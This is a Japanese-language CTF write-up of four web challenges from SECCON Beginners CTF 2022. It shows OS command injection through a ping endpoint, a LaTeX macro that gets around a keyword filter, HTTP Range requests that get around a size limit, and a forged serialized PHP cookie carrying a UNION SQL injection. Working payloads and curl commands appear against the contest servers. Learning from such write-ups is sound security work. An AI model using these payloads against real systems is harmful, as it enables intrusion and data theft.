[SECCON Beginners CTF 2022] My own writeup
SECCON Beginners CTF 2022がSat, June 04, 14:00 — Sun, June 05, 14:00 (JST)の日程で開催されました. 今回はgaidailove(研究室の同期チーム)として参加しました. 最終的には654ポイント獲得し, 131/891位でした.
僕はwebを解いていたので, そのwriteupを以下に記します.
[web] Util
配布ファイルmain.go
の以下の部分に脆弱性があります. コマンドに任意の文字列を挿入できるので, OSコマンドインジェクションが可能です.
r.POST("/util/ping", func(c *gin.Context) {
var param IP
if err := c.Bind(¶m); err != nil {
c.JSON(400, gin.H{"message": "Invalid parameter"})
return
}
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
c.JSON(200, gin.H{
"result": string(result),
})
})
また, flagは/flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
にあることがDockerfile
よりわかります.
...
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
...
まずはflagが書かれているファイル名を特定します. 以下より /flag_A74FIBkN9sELAjOc.txt
にflagが書かれていることがわかります.
$ curl -X POST -H "Content-Type: application/json" -d '{"Address":";ls -la /flag*"}' https://util.quals.beginners.seccon.jp/util/ping
{"result":"BusyBox v1.33.1 () multi-call binary.\n\nUsage: ping [OPTIONS] HOST\n\nSend ICMP ECHO_REQUESTs to HOST\n\n\t-4,-6\t\tForce IP or IPv6 name resolution\n\t-c CNT\t\tSend only CNT pings\n\t-s SIZE\t\tSend SIZE data bytes in packets (default 56)\n\t-i SECS\t\tInterval\n\t-A\t\tPing as soon as reply is recevied\n\t-t TTL\t\tSet TTL\n\t-I IFACE/IP\tSource interface or IP address\n\t-W SEC\t\tSeconds to wait for the first response (default 10)\n\t\t\t(after all -c CNT packets are sent)\n\t-w SEC\t\tSeconds until ping exits (default:infinite)\n\t\t\t(can exit earlier with -c CNT)\n\t-q\t\tQuiet, only display output at start/finish\n\t-p HEXBYTE\tPayload pattern\n-rw-r--r-- 1 root root 25 Jun 3 14:13 /flag_A74FIBkN9sELAjOc.txt\n"}%
次に, catコマンドでファイルの内容を出力します. flagはctf4b{al1_0vers_4re_i1l}
であることがわかります.
$ curl -X POST -H "Content-Type: application/json" -d '{"Address":";cat /flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping
{"result":"BusyBox v1.33.1 () multi-call binary.\n\nUsage: ping [OPTIONS] HOST\n\nSend ICMP ECHO_REQUESTs to HOST\n\n\t-4,-6\t\tForce IP or IPv6 name resolution\n\t-c CNT\t\tSend only CNT pings\n\t-s SIZE\t\tSend SIZE data bytes in packets (default 56)\n\t-i SECS\t\tInterval\n\t-A\t\tPing as soon as reply is recevied\n\t-t TTL\t\tSet TTL\n\t-I IFACE/IP\tSource interface or IP address\n\t-W SEC\t\tSeconds to wait for the first response (default 10)\n\t\t\t(after all -c CNT packets are sent)\n\t-w SEC\t\tSeconds until ping exits (default:infinite)\n\t\t\t(can exit earlier with -c CNT)\n\t-q\t\tQuiet, only display output at start/finish\n\t-p HEXBYTE\tPayload pattern\nctf4b{al1_0vers_4re_i1l}\n"}%
[web] textex
LatexからPDFを生成するwebアプリケーションが与えられます.
flagは/var/www/
以下にあることがDockerfile
からわかります. また, このアプリケーションのバックエンドサーバも/var/www/
で実行されています.
まずflagのファイルを読み込むことを考えますが, app.py
の以下の部分よりflag
という文字列を使用することはできないので工夫が必要です.
try:
# No flag !!!!
print(tex_code.lower())
if "flag" in tex_code.lower():
tex_code = ""
# Write tex code to file.
with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
f.write(tex_code)
# Create pdf from tex.
subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
最終的には以下のLatexコードを用いてflagを出力することができました.
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\def\a{fla}
\def\b{g}
\verbatiminput{\a\b}
\end{document}
余談 : ローカルでDockerコンテナを用いて動作確認をしていた時は\input{\a\b}
などでflagを出力できましたが, リモートではそれができなくて一生泣いていました. しかし, 作問者の方のwriteupを見るとこれは想定挙動だったようです.
[web] gallery
拡張子を指定してファイルの一覧が閲覧できるwebアプリケーションが与えられます.
https://gallery.quals.beginners.seccon.jp/?file_extension=fla
などをGETするとflagが入ったファイルが表示されます. flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
にflagが含まれていることがわかります.
$ curl "https://gallery.quals.beginners.seccon.jp/?file_extension=fla" | grep "flag"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2617 0 2617 0 0 17682 0 --:--:-- --:--:-- --:--:-- 17682
<a class="list-group-item list-group-item-action" href="/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf">flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf</a>
しかし, レスポンスにサイズ制限がありflagが得ることができません. サイズが10240を超える場合は, サイズ分の?
がレスポンスとして返されます.
func (w *MyResponseWriter) Write(data []byte) (int, error) {
filledVal := []byte("?")
length := len(data)
log.Println(length)
// log.Println(bytes.Repeat(filledVal, length))
if length > w.lengthLimit {
w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
return length, nil
}
w.ResponseWriter.Write(data[:length])
return length, nil
}
...
func middleware() func(http.Handler) http.Handler {
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
})
}
}
実際にflag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
をGETすると, 以下のレスポンスが返ります.
$ curl "https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf"
??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
...
HTTPにはRange Requestsというものがあり, リスエストヘッダにRange: bytes=0-499
などを指定すると, 指定されたバイト範囲がダウンロードされるようです(知らなかった).
以下のように, 2回に分けてファイルをダウンロードすることでサイズ制限である10240を突破します.
$ curl -H "Range: bytes=0-10000" "https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf" > hoge.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 10001 0 10001 0 0 60981 0 --:--:-- --:--:-- --:--:-- 60981
$ curl -H "Range: bytes=10001-16085" "https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf" >> hoge.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 6084 0 6084 0 0 41671 0 --:--:-- --:--:-- --:--:-- 41671
PDFが無事に分割ダウンロードできました.
[web] serial
ユーザー登録をして, タスクが管理できるwebアプリケーションが与えられます.
ユーザー登録をすると, Userクラスのインスタンスがシリアライズ+base64エンコードされた形でCOOKIEに__CRED
として保存されます.
class User
{
private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");
public $id;
public $name;
public $password_hash;
public function __construct($id = null, $name = null, $password_hash = null)
{
$this->id = htmlspecialchars($id);
$this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
$this->password_hash = $password_hash;
}
...
}
...
$name = $_POST['name'];
$pass = password_hash($_POST['pass'], PASSWORD_DEFAULT);
$user = new User(-1, $name, $pass);
try {
$db = new Database();
$db->insertUser($user);
$user = $db->findUserByName($user);
if (!$user->isValid()) {
throw new Exception("invalid user: " . $user->__toString());
}
} catch (Exception $e) {
var_dump($e->getMessage());
}
setcookie("__CRED", base64_encode(serialize($user)));
...
この__CRED
はCOOKIEであるため任意の値に編集することができます. またname
プロパティは以下のSQLクエリに挿入されるため, SQLインジェクションが可能です.
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);
if (!$result) {
throw new Exception('failed query for findUserByNameOld ' . $sql);
}
while ($row = $result->fetch_assoc()) {
$user = new User($row['id'], $row['name'], $row['password_hash']);
}
具体的には以下のようなクエリを組み立てて, flagを得ることを目指します(以下はローカルでの実験).
mysql> SELECT id, name, password_hash FROM users WHERE name = '' UNION SELECT body, body, "hoge" FROM flags;-- LIMIT 1;
+----------------------+----------------------+---------------+
| id | name | password_hash |
+----------------------+----------------------+---------------+
| ctf4b{dummy flag!!!} | ctf4b{dummy flag!!!} | hoge |
+----------------------+----------------------+---------------+
1 row in set (0.00 sec)
したがって, 以下をCOOKIEの__CRED
とします.
O:4:"User":3:{s:2:"id";s:1:"5";s:4:"name";s:48:"' UNION SELECT body, body, "hoge" FROM flags;-- ";s:13:"password_hash";s:4:"hoge";}7...
これをbase64にエンコードして送信します.
$ curl -vv -b '__CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjE6IjUiO3M6NDoibmFtZSI7czo0ODoiJyBVTklPTiBTRUxFQ1QgYm9keSwgYm9keSwgImhvZ2UiIEZST00gZmxhZ3M7LS0gIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjQ6ImhvZ2UiO303Li4u' https://serial.quals.beginners.seccon.jp
...
> GET / HTTP/1.1
> Host: serial.quals.beginners.seccon.jp
> User-Agent: curl/7.64.1
> Accept: */*
> Cookie: __CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjE6IjUiO3M6NDoibmFtZSI7czo0ODoiJyBVTklPTiBTRUxFQ1QgYm9keSwgYm9keSwgImhvZ2UiIEZST00gZmxhZ3M7LS0gIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjQ6ImhvZ2UiO303Li4u
>
< HTTP/1.1 200 OK
< Server: nginx/1.21.6
< Date: Sat, 04 Jun 2022 23:35:54 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 2559
< Connection: keep-alive
< Set-Cookie: __CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQzOiJjdGY0YntTZXIxNGxpejR0MTBuXzE1X3YxcnR1YWxseV9wbDQxbnRleHR9IjtzOjQ6Im5hbWUiO3M6NDM6ImN0ZjRie1NlcjE0bGl6NHQxMG5fMTVfdjFydHVhbGx5X3BsNDFudGV4dH0iO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NDoiaG9nZSI7fQ%3D%3D
再度セットされた__CRED
をbase64デコードすると, flagが格納されています.
[web] Ironhand
解けませんでした. JWTが使われているもののjwt_toolで調査をした限り, 脆弱な使い方はされていない印象を受けました. そのため, Template InjectionやLFIを疑いましたが, 具体的な攻撃に繋げられませんでした. 公式のwriteupや他の方のwriteupを見るのが楽しみです.
感想
web問は去年のctf4bより難しかった気がしました. ひと工夫が必要な難しい問題ばかりで楽しかったです.